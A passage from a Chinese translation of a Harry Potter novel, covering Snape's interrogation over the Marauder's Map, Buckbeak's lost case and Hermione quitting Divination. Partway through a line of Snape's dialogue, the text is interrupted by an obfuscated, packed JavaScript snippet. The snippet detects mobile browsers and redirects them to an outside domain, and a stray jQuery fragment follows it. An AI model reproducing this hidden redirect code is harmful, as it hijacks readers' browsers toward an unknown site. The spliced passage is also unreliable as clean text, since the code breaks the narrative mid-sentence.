然后他们去了佐科,那里挤满了学生,哈利必须十分小心别踩着任何人,以免引起惊慌。那里有的是开玩笑和变戏法用的材料,就连弗雷德和乔治最疯狂的梦想也能够满足。哈利向罗恩低声发出指令,还从隐形衣下面递给罗恩一些金子。他们离开佐科时,钱包比进店时轻了不少,但是他们的衣袋里塞满了粪弹、饱嗝糖、青蛙卵肥皂,每人还有一个咬鼻子茶杯。 天气晴好,微风习习,两人都不愿意待在室内,因此他们走过三把扫帚,上了一道斜坡来到了尖叫棚屋,这是英国闹鬼最厉害的住所。它坐落的地方比村子里的其他房屋略高一些,窗户都钉上了木板,花园阴湿,野草丛生,就是在大白天叫人见了心里也发毛。 “就连霍格沃茨的鬼都不来这里。”罗恩说,他们靠着篱笆向上看着这幢鬼屋。“我问过差点没头的尼克,他听说有一群很粗野的人住在这里。没有人能够进去。弗雷德和乔治显然试过,但所有的入口都给封上了...” 哈利由于爬了坡而觉得热,正想把隐形衣脱下几分钟,这时他们听到附近有人声:有人在小山另一边向这所鬼屋爬来。不一会儿,马尔福出现了,后面紧跟着克拉布和高尔。马尔福正在说话。 “...现在我爸的猫头鹰随时都可能飞来。他必须出席听证会,告诉他们关于我的胳臂的事...关于我的胳臂三个月都不能动的事...” 克拉布和高尔都窃笑起来。 “我真的希望我能够昕到那个毛茸茸的傻大个子努力给自己辩护...‘它不害人,真的——’那头鹰头马身有翼兽死定了——” 马尔福突然看见了罗恩,苍白的脸上露出恶意的笑容。 “你在干嘛,韦斯莱?” 马尔福抬头看看罗恩身后那所快要倒塌的房屋。 “也许你愿意住在这里吧,是不是,韦斯莱?梦想有自己的卧室,是吧?我听说你一家子都住在一间房间里——是真的吗?” 哈利抓住罗恩袍子的后背,不让他向马尔福扑过去。 “让我来对付他。”哈利低声对罗恩说。 这机会太好了,千万不能放过。哈利悄悄走到马尔福、克拉布和高尔的背后,弯腰从小路上的泥潭里捧了一大捧烂泥。 “我们正在议论你的朋友海格,”马尔福对罗恩说,“正努力想象他会对处置危险生物委员会说什么呢。他们砍掉他的鹰头马身有翼兽的脑袋的时候,你想他会哭——” 啪!烂泥打中了马尔福,他的脑袋不由向前一倾,他那淡金色头发突然之间就滴下了泥浆。 “什么混——?” 罗恩只有抓住篱笆才站得住,他实在笑得太厉害了。马尔福、克拉布和高尔在原地愚蠢地打着转,狂乱地向四面看,马尔福还想把头发擦干净。 “是什么东西?谁干的?” “这儿闹鬼闹得厉害,是不是?”罗恩说,那副架势好像是在评论天气。 克拉布和高尔一脸很害怕的样子,他们那鼓凸的肌肉对付鬼魂可是不行。马尔福则对着空无一人的风景发疯似的四处乱瞧。 哈利沿着那条小路蹑手蹑脚地走着,小路上有一处特别泥泞的地方,那里有发臭的绿色污泥。 啪哒!克拉布和高尔这次也分享到了一些。高尔立即狂怒地单脚跳着,努力把污泥从他那双小而迟钝的眼睛附近拭去。 “是从那边来的!”马尔福擦着脸说,于是他瞪着离哈利左边六英尺的地方。克拉布慌乱地向前走去,伸着长胳膊,像傻瓜一样。哈利在他身边躲闪着,拾起一根树枝,用力掷在克拉布背上。 克拉布在半空中急转,想看是谁扔的,哈利无声地笑着,笑得弯了腰。罗恩是克拉布唯一能看到的人,因此他对准罗恩冲过去。哈利伸出腿来,克拉布绊了一跤,他那双扁平的大脚踩住了哈利隐形衣的边缘。 哈利觉得有人用力一拉,然后隐形衣从他脸上滑落了。 马尔福瞪眼看他,为时大约不到一秒钟。 “啊——”他狂叫,指着哈利的脑袋。然后他转过身子不要命地往山下跑去,克拉布和高尔跟在他后面。 哈利又把隐形衣拉上,但祸已经闯下了。 “哈利!”罗恩说,跌跌撞撞地向前走着,毫无希望地看着哈利刚才出现的地方,“你赶紧跑吧!要是马尔福告诉任何人...你赶快回城堡吧,快!” “再见。”哈利说。他二话没说,就向着霍格莫德村的方向跑去。 马尔福会相信他的确看到了哈利吗?会有人相信马尔福吗?谁也不知道隐形衣的事——除了邓布利多。哈利的胃一阵翻腾——邓布利多会明明白白地知道发生了什么事的。只要马尔福说出来的话..回到蜂蜜公爵店,走到地窖的台阶,越过石头地板,穿过地板门...哈利脱掉隐形衣,把它夹在腋下,沿着通道拼命跑...马尔福会先回去的...他找到一位老师要花多少时间? 哈利喘着气,两胁刺痛,但他没有放慢脚步,一直跑到了那石头斜道。他宁愿把隐形衣留在那里,如果马尔福向哪位老师泄露了消息,隐形衣被没收,那就太可惜了。 哈利把隐形衣藏在一个阴暗的角落里,然后开始尽快向上爬,他那汗湿的双手在石道的边上直滑。他到了女巫驼背的里面,用魔杖轻敲,伸出脑袋,然后整个人从那里出来了,驼背又闭上了。哈利刚从雕像后面跳出来,就听见有迅速走近的脚步声。 是斯内普。他迅速走向哈利,黑袍子拂动着,然后停在他面前。 “是这样。”他说。他脸上有一种压不住的胜利表情。哈利努力装出无辜的样子,但心里很清楚自己是一脸的汗,两手还有泥泞,他迅速把双手藏到衣袋里。 “跟我来,波特。”斯内普说。哈利跟他下了楼,努力在斯内普注意不到的情况下,在袍子里面擦干净双手。 他们走下楼到了城堡主楼,然后走进斯内普的办公室。 “坐。”斯内普说。哈利坐下了。然而,斯内普仍旧站着。 “马尔福先生刚才来看我,说了个离奇的故事,波特。”斯内普说。 哈利什么也没有说。 “他告诉我,刚才他站在那里同韦斯莱说话,一大块泥砸到了他后脑上。你认为这件事是怎样发生的?” 哈利努力装出略感惊讶的样子。 “我不知道,教授。” 斯内普紧盯着哈利的眼睛看。这简直就像是努力要把一头鹰头马身有翼兽瞪得退却一样。哈利努力不眨一下眼睛。 “马尔福先生然后看到一个特别的鬼怪出现了。你能想象那是什么吗,波特?” “不能。”哈利说,现在他努力说得让别人听上去有一种天真好奇的感觉。 “那是你的脑袋,波特。在半空中浮动着。”长时间的沉默。 “他也许去找一下庞弗雷夫人比较好,”哈利说,“如果他看见这样的幻象..” “你的脑袋在霍格莫德干什么呢,波特?”斯内普低声问。“你的脑袋是不允许到霍格莫德去的。你身体的任何部分都没有得到去霍格莫德的许可。” “我知道,”哈利说,努力让脸上不要露出有罪或是害怕的神色,“听起来好像马尔福看见幻...” “马尔福没有看见幻象。”斯内普咆哮着说,他弯下腰来,两手分别放在哈利所坐椅子的扶手上,这样他们两人的脸相距只有一英尺。“如果你的脑袋在霍格莫德村,那你身体的其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15424101|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部分也在。” “我一直在格兰芬多塔楼,”哈利说,“脑袋也在身体也在——” “有人能证明吗?” 哈利什么也没有说。斯内普薄薄的嘴唇扭曲成可怕的微笑。 “是这样,”他说,又站直了,“从魔法部长以下,每一个人都一直在努力让大名鼎鼎的哈利·波特远离危险,使他不受小天狼星布莱克的侵害。但是大名鼎鼎的哈利·波特本身就是法律。让普通人担心他的安全去吧。大名鼎鼎的哈利·波特想到哪里就到哪里,根本不考虑后果。” 哈利保持着沉默。斯内普在激他说出真相。他可不想说。斯内普没有证据——现在还没有。 “你怎么那么像你爸爸啊,波特,”斯内普突然说,眼睛发着光,“他,也是极其傲慢的。魁地奇球场上一点小小的才能也让他认为自己高人一等。和朋友们、崇拜者们到处高视阔步...你们两人相像得可怕。” “我爸没有高视阔步,”哈利说,想闭嘴已经来不及了,“我也没有。” “你爸也不很遵守规定。”斯内普继续说,往前倾着身子,那张瘦脸上充满了恶意。“规定是让比较次的人遵守的,不是为赢得魁地奇杯的人制定的。他脑袋发涨到...” “住嘴!”哈利突然站起来了。自从他在弗农姨父家的最后一夜以来,他还没有这样愤怒过。 他不管斯内普的脸已经板起来,黑色的小眼睛危险地闪动着。“你刚才对我说什么来着,波特?” “我叫你住嘴,别说我爸!”哈利狂叫。“我知道真相,对不对?他救过你的命!邓布利多告诉我的!要不是我爸,你根本就不可能在这里!” 斯内普的黄色皮肤变成了坏牛奶那样的颜色了。 “校长告诉你,你爸爸救我命的背景了吗?”他低语道,“要不然他是认为细节对于可贵的波特的耳朵来说,是过于令人不愉快了吧?”哈利咬住嘴唇。他不知道发生过什么,不想承认这一点——但是斯内普好像猜到了他的心思。 “我可不愿意你带着关于你爸爸的错误概念离开,波特。”他说着,可怕的微笑扭曲了他的脸。“你想象过英雄业绩的某些行动吗?让我来纠正你罢——你那圣徒似的爸爸和他的朋友,对我开了一个很有趣的玩笑,要不是你爸爸在最后时刻临阵畏缩,那我就会死的。他做的事,没有什么可以称为勇敢的。他救了自己,也救了我。如果他们的玩笑开成了,霍格沃茨就会开除他。” 斯内普那不整齐的牙齿都露出来了。“把衣袋翻出来,波特!”他突然喝道。 哈利没有动。他耳朵里一片轰鸣声。 “把衣袋翻出来,要不然我们直接去见校长!翻出来,波特!” 哈利因害怕而发冷,慢慢地拿出那袋在佐科店买的各种玩艺儿和那张活点地图。 斯内普拿起佐科的那个袋子。 “是罗恩给我的,”哈利说,暗自祈祷他能有机会在斯内普看见罗恩以前就通知罗恩,“他——上次在霍格莫德买来的...” “是吗?你从那时候以来就一直带在身边?真令人感动...那是什么?” 斯内普拿起那张地图。哈利尽最大努力使自己不动声色。 “一小张空白羊皮纸。”他耸耸肩。 斯内普把羊皮纸翻过来,眼睛盯着哈利看。 “你当然不会需要这样一张很旧的羊皮纸了?”他说,“我为什么不——把它扔了呢?” 他的手向壁炉那边移动。 “别!”哈利赶快说。 “是这样!”斯内普说,他长长的鼻翼掀动着。“这又是韦斯莱先生给你的一份珍贵礼物吧?要不然这是——别的什么吧?一封信,也许是,用隐形墨水写的?或者——不经过摄魂怪就可以进入霍格沃茨的指示?” 哈利眨了眨眼睛。斯内普的眼睛亮了。 “让我看看,让我看看...”他嘟囔道,拿出魔杖,在桌子上铺平地图。 “显示出你的秘密来!”他说着,用魔杖轻轻碰了一下那张地图。什么事情也没有发生。 哈利握紧拳头以防手发抖。 “显示!”斯内普说,用魔杖急剧敲击地图。 地图仍然一片空白。哈利长长地呼了一口气,心情放松了。 “本院长西弗勒斯·斯内普教授,命令你现出藏起来的信息!”斯内普说着,用魔杖打着这张地图。 好像有一只无形的手在那张羊皮纸上书写似的,地图平滑的表面出现了字迹。 月亮脸先生向斯内普教授致意,并且请求他不要把他那大得不正常的鼻子,伸到别人那里多管闲事。 斯内普僵住了。哈利目瞪口呆,看着这段话。什么也说不出来。 但是那地图还不罢休,在第一段文字下面,又出现了新的文字:尖头叉子先生同意月亮脸先生的话,还愿意加上一句,那就是斯内普教授是丑陋的蠢货。 如果形势不是这么严重,这样的话实在很有趣。但是底下还有...大脚板先生愿意表示惊讶:像斯内普这样的傻瓜怎么成了一位教授。 哈利害怕得闭上了眼睛。等他睁开眼睛的时候,地图上出现的字迹快完了:虫尾巴先生向斯内普教授问好,劝告他洗洗头发,烂泥巴。 哈利等着斯内普大发雷霆。 “这样...”斯内普软弱地说,“我们会料理这件事...” 他在壁炉前踱着步,从壁炉架上的一个罐子里,抓了一把发亮的粉末撒在火焰上。 “卢平!”斯内普对着火焰叫道,“我要说句话!” 哈利完全手足无措了,他瞪着那火焰。火里出现了一个大的形体,很快地旋转着。几秒钟后,卢平教授从火里爬了出来,从破烂的袍子上掸去炉灰。 “你叫我吗,西弗勒斯?”卢平温和地问道。 “当然是我叫的。”斯内普说,他走回书桌那边,脸都气歪了,“我刚才要波特把衣袋倒空,他身上带着这个东西。” 斯内普指指那张羊皮纸,羊皮纸上月亮脸、大脚板和尖头叉子等人的字迹还在发光。卢平脸上出现了一种古怪的、神秘的表情。 “唔?”斯内普说。卢平继续看着那张地图。哈利觉得卢平在迅速地考虑着什么。 “哈?”斯内普又说,“这张羊皮纸上肯定满是恶咒。这应该属于你的专业范围,卢平。你认为哈利是从哪里搞到这么一种东西的?” 卢平抬头一望,仅仅向哈利那个方向瞥了半眼,就警告他不要插嘴。 “满是恶咒吗?”他温和地重复了一句,“你真的这样想吗,西弗勒斯?在我看来这好像只是一张羊皮纸,谁想读它,它就侮辱谁。孩子气,但肯定没有危险吧?我想哈利是从专卖开玩笑材料的店里得到...” “是吗?”斯内普问。他的下巴因为恼怒而发僵。“你以为店里能向他提供这种东西?你不认为他是从制造者手里直接得到的吗?” 哈利不懂斯内普在说什么。卢平似乎也一样。 “你意思是说,从虫尾巴先生或者是这些人之中的一个吗?”他问,“哈利,你认识这些人吗?” “不认识。”哈利赶快说。 “你看,西弗勒斯?”卢平说,又转向斯内普。“我看它像是佐科的产品——” 罗恩恰好在这时候闯进了办公室。他完全喘不上来气,刚好就站在斯内普书桌旁边,手抓胸膛试图说话。 “那——东西——我——给——哈利的,”他透不过气来,“好久——以前——在——佐科——买的...” “好,”卢平说,两手一拍,高兴地向大家一看,“这不就说明问题了!西弗勒斯,我把这东西拿回去,好吗?” 他折起地图放到袍子里去了。“哈利,罗恩,跟我来,关于我布置的吸血鬼论文,我有句话要说。我们走了,对不起,西弗勒斯。” 他们离开了办公室,这时哈利看都不敢看斯内普一眼。 他、罗恩和卢平一直走到前厅都没有说活。然后哈利转向卢平。 “教授,我——” “我不听解释。”卢平简短地说。他瞥了空空洞洞的前厅一眼,压低了声音。 “我碰巧知道这张地图是费尔奇多年以前没收来的。对,我知道这是张地图。”他说,因为哈利、罗恩露出了惊讶的神色。“我不想知道这地图怎么会到你们手里。然而,我惊讶的是你们没有交出来。特别是在上次一个学生把有关城堡的信息随手乱放以后。我不能让你再拿着它了,哈利。” 哈利早已想到了这一点,因为急于解释,也来不及抗议。 “斯内普为什么说我是从制造者手里直接得到的呢?” “因为...”卢平迟疑了,“因为制造地图的人,可能是想引诱你们离开学校。他们认为,这张地图会让你们觉得很好玩。” “你认识他们吗?”哈利问,一脸迫切的神情。 “我们见过面。”他简短地说。他看着哈利的神情,比以前任何时候都要严肃。“别指望我再替你掩饰了,哈利。我不能让你自己对付小天狼星布莱克。但是我原来以为摄魂怪走近你时,你听到的内容会对你产生更大影响的。你的双亲牺牲了自己让你活下来,哈利。这样报答他们可不好——用他们的牺牲换一口袋魔术把戏。” 他走开了,留下哈利在那里,哈利心里不是滋味,比他在斯内普办公室里的时候还要难过。他慢慢地和罗恩一起走上那道大理石楼梯。哈利走过那独眼女巫雕像的时候,他想起了那件隐形衣——衣服还在那里,但他不敢去拿。 “是我的错,”罗恩突然说,“我劝你去的。卢平说得对,这样做是愚蠢的,我们不该这样——” 他不说了,他们已经走到有保安巡逻的走廊,赫敏正向他们走过来。 哈利看了她一眼,就断定她已经听说了发生的事。他的心直跳——她告诉麦格教授了吗? “来幸灾乐祸吗?”罗恩气冲冲地说,这时她已经站在他们面前了。“要不然就是你刚刚告发了我们?” “没有。”赫敏说。她手里拿着一封信,嘴唇在颤抖。“我原以为你们应该知道...海格官司打输了。” “巴克比克要被执行死刑了。” 53.魁地奇决赛 “他——他给我送来这个。”赫敏说着把那封信拿给了他们。哈利接了过来。这张羊皮纸是湿的,大大的泪滴弄得墨迹模糊,有些地方很难辨认。 亲爱的赫敏: 我们输了。允许我带它回到霍格沃茨。执行死刑的日期有待决定。巴克比克喜欢伦敦。我不会忘记你给我们的所有帮助。 海格 “他们不能这样做,”哈利说,“他们不能。巴克比克不危险。” “马尔福的爸爸威胁委员会要他们这样做。”赫敏说,一面擦着眼睛。“你知道他这个人。委员会是一批老得哆哆嗦嗦的傻瓜,被他吓住了。虽然还可以上诉,那总是可以的。只是我看不到任何希望...什么也改变不了。” “不,会改变的。”罗恩狂怒着说,“这次你不必一个人做全部工作了,赫敏。我会帮忙的。” “哦,罗恩!”赫敏双臂搂住罗恩的脖子,完全崩溃了。罗恩吓得很厉害,尴尬地拍着她的头顶以示安慰。最后,赫敏站开了。 “罗恩,斑斑的事我真正、真正感到遗憾...”她抽泣起来。 “哦——唔——它老了,”罗恩说,看上去因为赫敏放开了他而彻底松了口气,“而且它有点没用。你不知道,现在爸妈也许会给我弄只猫头鹰呢。” 自从布莱克第二次闯进城堡以来,对学生的安全措施加强了,哈利、罗恩和赫敏因此不可能晚上去拜访海格了。他们和他说话的唯一机会是在保护神奇生物课上。 海格似乎由于这次裁决的打击而变得麻木了。“都是我的错。张口结舌不会说话。他们都穿着黑袍子坐在那里,我一直丢笔记,又把你帮我查到的所有那些日期全忘记了,赫敏。后来卢修斯·马尔福站起来说了话,委员会就完完全全照他的要求做了...” “还可以上诉呢!”罗恩大怒着说道,“别放弃,我们正在研究呢!” 他们和班上同学一起走回城堡。他们看到了马尔福,他和克拉布、高尔走在一起,不断回头看,还嘲弄地大笑。 “没有用的,罗恩。”海格悲伤地说,这时他们已经走到城堡外的台阶旁了。“那个委员会装在卢修斯·马尔福的口袋里呢。我现在只能保证让比克死前过上它有生以来最快乐的日子。我欠它的啊...” 海格转身匆忙赶回他的小屋,脸埋在手帕里。 “看他那副哭哭啼啼的样子!” 马尔福、克拉布和高尔一直就站在城堡大门内侧,听着。 “你们看到过这样可怜的东西了吗?”马尔福说,“他还算是我们的老师呢!” 哈利和罗恩两人都对马尔福做出愤怒的动作,但是赫敏比他们都快——啪!她用尽全力打了马尔福一个耳光。马尔福踉跄了两步。哈利、罗恩、克拉布和高尔都目瞪口呆了。这时。赫敏又扬起了手。 “你再敢说海格可怜,你这可恶的——你这邪恶的——” 她蓄势又要打马尔福。“赫敏!”罗恩软弱地说,试图抓住她的手。 “放开我,罗恩!”赫敏抽出魔杖。马尔福后退。克拉布和高尔看着马尔福,等候他的指令。这两人彻底地手足无措了。 “撤。”马尔福咕哝道,这三个人马上就消失在通往城堡主楼的通道里了。 “赫敏!”罗恩既惊讶又感动地叫道。 “哈利,你最好在魁地奇决赛中打败他!”赫敏尖声说,“你最好这样,因为要是斯莱特林胜了,我会受不了的!” “我们该去上魔咒课了,”罗恩说,仍旧瞪着赫敏看,“我们走吧。” 他们赶着上了大理石楼梯,到弗立维教授的教室去,“你们迟到了,孩子们!”哈利推开了教室门,弗立维教授谴责地说。“快进来,魔杖拿出来,我们今天要体验快乐咒的力量。我们已经分好两人一组——” 哈利和罗恩赶忙走到后排的一张桌子前,打开书包。罗恩回头看了看。“赫敏哪里去了?” 哈利也向四面寻找。赫敏没有进教室。但是哈利知道,他推门时赫敏明明就在身后。 “这可怪了,”哈利说,瞪眼看着罗恩,“也许——也许她到洗手间还是干什么去了?” 但是整整一节课赫敏都没有出现。 “她也需要快乐咒语在她身上起作用。”罗恩说.这时全班都要去吃午饭了.大家都笑容可掬——快乐咒语让他们都有了一种大大的满足感。 吃午饭时赫敏也不在。大家快要吃完苹果馅饼的时候。快乐咒的作用渐渐消失,哈利和罗恩开始有点担心了。 “你说马尔福会整她吗?”罗恩焦急地说,这时他们正赶着上格兰芬多塔楼去。 他们经过侏儒保安,向胖夫人说了口令(“花花公子哥儿”),然后攀上肖像画上的洞来到公共休息室。 赫敏坐在桌旁,睡得正熟,她的脑袋伏在一本打开的算术占卜教科书上。他们走过去分别坐在她两旁。哈利碰醒了她。 “什——什么?”赫敏说。她一惊,醒来了,慌张地到处张望。“该走了吗?我们现在该上什么课了?” “占卜,不过还有二十分钟呢。”哈利说。“赫敏,你为什么没去上魔咒课?” “什么?哦,不!”赫敏尖叫起来.“我忘记上魔咒课了!” “但是你怎么会忘记呢?”哈利说,“我们走到教室门外以前,你一直和我们在一起的呀!” “我简直不能相信!”赫敏哀叹道,“弗立维教授发火了吗?哦。这要怪马尔福,我一直在想着他的事就忘了别的!” “你知道是怎么回事吗,赫敏?”罗恩说,眼睛向下看着赫敏用来当枕头的那本大书。“我想你要崩溃了。你想做的事太多了。” “不,我没有!”赫敏说,拂开眼睛前的头发,瞪着眼无望地到处找她的书包。 “我刚犯了个错误,不是吗!我最好还是去找弗立维教授道个歉...占卜课上见!” 二十分钟以后,赫敏在通往特里劳妮教授的教室的楼梯脚下遇到了他们,她看上去极其烦恼。 “我真不能相信我误了快乐咒这一课!我打赌考试里会有的。弗立维教授刚才暗示说有可能的!” 他们一起爬上楼梯进入那间光线晦暗、令人气闷的塔楼教室。每张小桌子上都有个水晶球在发光,水晶球里面都充满了珍珠白色的雾状物。哈利、罗恩和赫敏一块儿坐在一张摇摇晃晃的小桌子旁。 “我以为下学期才开始学水晶球的课呢。”罗恩咕哝道,一面用眼睛小心翼翼地搜索特里劳妮教授的身影,以防她在近旁听了去。 “别抱怨,这就是说我们已经学完手相学了。”哈利也咕哝着回答。“她每次看我的手掌都要畏缩一下,我已经烦了。” “你们好!”那熟悉的模糊声音说道,特里劳妮教授像通常一样从阴影里走了进来。帕瓦蒂和拉文德兴奋得发抖,水晶球里乳白色的光芒照亮了她们的脸。 “我已经决定比原来计划的要早一点上水晶球课。”特里劳妮教授说着坐了下来,背对着壁炉里的火,坐下以后就到处看。“命运已经通知我说,你们六月份的考试会与球体有关,因此我急于给你们足够的练习。” 赫敏哼了一声表示不屑。 “唔,说真的...‘命运已经通知她’...谁出考试题啊?她!这种预言可真惊人!”她说,有意不压低声音。 很难说特里劳妮教授有没有听见她的话,因为她的脸藏在阴影之中。然而,她继续往下讲,好像是没有听见。 “看水晶球是一门特别精细的艺术,”她如在梦中似地说,“你们是第一次窥探这深不可测的球体,我不指望你们之中有人看到什么。我们应该从练习放松主观意识和外部的眼睛开始(罗恩开始止不住地窃笑,不得不把拳头塞进嘴里,以便闷住笑声)。这样做才能澄清天目和超意识。如果我们走运的话,你们之中某些人也许能够在下课之前看到些什么。” 于是他们就开始了。哈利觉得这至少是极愚蠢的事,因此他茫然地盯着水晶球看,想让自己什么也不想,但这“极愚蠢”的念头时不时地浮现在他的脑海之中。罗恩不断偷偷地乐,赫敏一直在啧啧地表示不耐烦,这对哈利要排除杂念都帮不了什么忙。 “看到什么了吗?”安安静静地看水晶球看了一刻钟之后,哈利问他们。 “看到了,桌子上有一块灼痕,”罗恩指着说,“有人把蜡烛弄翻过。” “真是浪费时间,”赫敏低声说,“我本来可以去练习其他有用东西的,或许我可以补上快乐咒这一课——” 特里劳妮教授衣裙沙沙响着过来了。 “有人愿意要我帮助解释一下他们水晶球里影影绰绰出现的东西吗?”她走动着,手镯发出细碎的响声。 “我不需要帮助,”罗恩耳语道,“这很明显,今晚会有大雾。” 哈利和赫敏都爆发出一阵大笑。 “现在,真的!”特里劳妮教授说,这时大家的脑袋都转到了他们这个方向,帕瓦蒂和拉文德露出震惊愤慨的表情。“你们搅乱了有洞察力的人的感应!” 她走近他们的桌子,看他们的水晶球。哈利觉得心往下沉,他肯定知道会发生什么事... “这里有些什么东西!”特里劳妮教授悄声说。把脸凑近了水晶球,于是她的大眼镜就映出两个水晶球来。“什么东西在动...但那是什么呀?” 哈利愿意拿他所有的东西来打赌,包括火弩箭在内,他认为她要说的决不是好消息,不管她说什么。果然... “我亲爱的...”特里劳妮教授喘了一口气,看着哈利,“从这里看到,比以前任何时候都清楚...我亲爱的,大踏步向你走来,越走越近...那不祥...” “哦,看在上帝面上!”赫敏大声说,“可别又是那可笑的不祥吧!” 特里劳妮教授抬起她那双巨大的眼睛看着赫敏的脸。帕瓦蒂对拉文德耳语着什么,她们两人也都瞪着赫敏。特里劳妮教授站了起来,明显恼怒地打量着赫敏。 “我遗憾地说,从你一到这个班以来,我亲爱的,就显然不具备占卜这门高尚艺术所要求的素质。的确,我不记得我遇到过哪一个学生的头脑是这样的世俗。” 片刻的沉默。然后—— “好!”赫敏突然说,站了起来,把《拨开迷雾看未来》这本书塞进了书包。 “好!”她重复了一遍,把书包甩到肩头,差点没把罗恩从椅子上撞下来。“我放弃!我走!” 使全班惊诧不已的是,赫敏大步走向那扇地板门,一脚踢开了它,走下楼梯,没了踪影。 过了几分钟全班才安静了下来。特里劳妮教授似乎已经把关于不祥的事全忘了。她猝然离开哈利和罗恩的桌子,把她那罗纱似的披巾拉紧了一些,呼吸相当沉重。 “喔喔喔——!”拉文德突然说,把大家都吓了一跳。“喔喔喔喔——特里劳妮教授,我刚刚想起来!您早就看见她离开了,是不是?是不是,教授?‘复活节前后,我们之中有一个人将永远离开我们!’您早就说过了,教授!” 特里劳妮教授向她展露出清新的笑容。 “对,我亲爱的,我的确早就知道格兰杰小姐会离开我们。然而,人们总希望自己会把未来的征象看错了...天目可能成为负担,你知道...” 这番话给了拉文德和帕瓦蒂很深的印象,她们移动身子挪出地方,让特里劳妮教授能到她们这张桌子这儿来。 “赫敏有一天会离开,哎?”罗恩对哈利轻声低语道,害怕的样子。“对...” 哈利向水晶球看去,但除了一团旋转的白雾以外什么也看不见。特里劳妮教授真的看见了不祥吗?他最不需要的就是又一次接近致命的偶然事件,因为魁地奇决赛越来越近了。 复活节假期并不真正让人放松。三年级学生的课后作业从来没有这么多。纳威·隆巴顿似乎快要神经崩溃了,而且他不是唯一的一个。 “这也叫假日!”一天下午,西莫·斐尼甘在公共休息室吼道,“考试还远着呢,他们在搞什么玩意儿啊?” 不过谁也不像赫敏那样忙。即使不上占卜课了,她上的课也比谁都多。晚上她经常是最后一个离开公共休息室的,第二天早上她第一个到图书馆。她已经像卢平那样眼睛底下有了阴影,而且她似乎随时会掉泪。 罗恩已经把有关巴克比克案子的事接过去了。他不做作业的时候,就在全神贯注地读着大厚卷宗,这些卷宗的题目有:《鹰头马身有翼兽心理手册》、《家禽还是怪兽?》、《鹰头马身有翼兽野蛮性研究》等。他沉浸其中,甚至忘了要对克鲁克山凶一点。 与此同时,哈利不得不在每天魁地奇训练之余挤时间做作业,更别提还要和伍德无休无止地讨论战术了。格兰芬多-斯莱特林球赛将在复活节后第一个星期六进行。斯莱特林队在巡回赛中不多不少领先二百分。也就是说,他们要赢得奖杯,得分就要超过这个数字(伍德一直这样提醒他的队员)。这也就是说,得分的负担主要落在哈利身上,因为抓到金色飞贼就可以得到一百五十分。 “所以你必须只能在我们领先五十分以上时抓住它。”伍德不断告诉哈利说,“只能是在我们领先五十多分的时候,哈利,要不然我们比赛赢了,但是拿不到奖杯。你一定要做到这点,对不对?要是我们有了五十多分,你就一定要——” “我知道啦,奥利弗!”哈利大声叫道。 整个格兰芬多都为即将到来的比赛痴迷。传奇式人物查理·韦斯莱(罗恩的二哥)曾经担任过找球手,在他之后,格兰芬多还没有得过奖杯。但是哈利认为,他们之中任何人,包括伍德在内,都不像他这样想赢。 哈利和马尔福之间的敌意已经达到了最高点。马尔福仍旧对霍格莫德村发生的扔污泥事件耿耿于怀,对于哈利竟然设法逃脱了惩罚更加恼火。哈利则没有忘记马尔福在他们对拉文克劳的比赛中设法陷害他的事,但巴克比克的事让他更加下定决心要在整个学校面前打败马尔福。 在所有人的记忆中,哪一次比赛临近时也不像这一次这样充满火药味。复活节假期过去时,两队和两院之间的紧张气氛已经到了一触即发的地步。走廊里发生了若干起小打小闹,最后发展为恶性事件,结果一名格兰芬多四年级学生和一名斯莱特林六年级学生都住到学校医院去了,他们的耳朵里都直往外冒韭葱。 哈利的日子特别不好过。他去上课的路上,总有斯莱特林的人伸出腿来绊得他跌倒在地;克拉布和高尔不管哈利到哪里都会跟着出现,看到哈利周围有人包围着就露出失望的神情,没精打采地走开。 伍德已经下了指令,说哈利不管到哪里都得有人陪着,以防斯莱特林的人搞得哈利不能上场。整个格兰芬多院热情地接受挑战,弄得哈利上课总迟到,因为他身边总有一大堆闲谈的人。哈利对火弩箭安全的关心甚至超过对自己的关心。他不用火弩箭的时候。就把它牢牢地锁在箱子里,还时常在课间休息的时候冲回格兰芬多楼去查看它是否还在那里。 比赛前夕,格兰芬多公共休息室的所有日常活动都停止了。就连赫敏也放下了书本。 “我没法念书,我集中不了。”她紧张不安地说。 噪音很多。弗雷德和乔治·韦斯莱说活的声音比平时更响更浮夸,以此来缓解压力。奥利弗·伍德在一个角落里蹲在魁地奇球场的模型面前,用魔杖指挥球场上的小人儿进退,嘴里还嘟嚷着什么。安吉利娜、艾丽娅和凯蒂因为弗雷德和乔治说的笑话而大笑。哈利和罗恩还有赫敏坐在一起,但他避开了他们的话题,试着不去想第二天比赛的事。但是哈利每次这样做的时候,就有一种可怕的感觉,觉得有什么很大的东西正挣扎着要从胃里出来。 “你会表现好的。”赫敏告诉他,但是她自己看上去也紧张得很。 “你有火弩箭呀!”罗恩说。 “是呀...”哈利说,胃痉挛着。 伍德忽然站起来大叫:“球队,睡觉!”大家觉得像是松了口气。 哈利睡得不好。一开始他梦见自己睡过了时间,伍德在大叫:“你刚才在哪里?我们只好用纳威替补了!”然后他梦见马尔福和斯莱特林的其余队员骑着龙来参加比赛。他没命地飞奔,想要避开马尔福的坐骑嘴中喷出的火焰,这时他想到自己把火弩箭忘了。他从空中跌了下来,惊醒了。 过了几秒钟,哈利才想起比赛还没有举行,自己安安稳稳地躺在床上。人们肯定不会让斯莱特林队骑着龙参加比赛。他感到很渴。他尽量悄悄地下了床,从窗下的银罐子里给自己倒了些水。 操场上寂然无人。没有一丝风吹动禁林的树梢,打人柳一动不动,一副天真无辜的样子。看上去比赛的条件好像是尽善尽美的。 哈利放下水杯,正要回到床上去,这时什么东西吸引了他的目光:有一个动物在银色的草坪上徘徊。 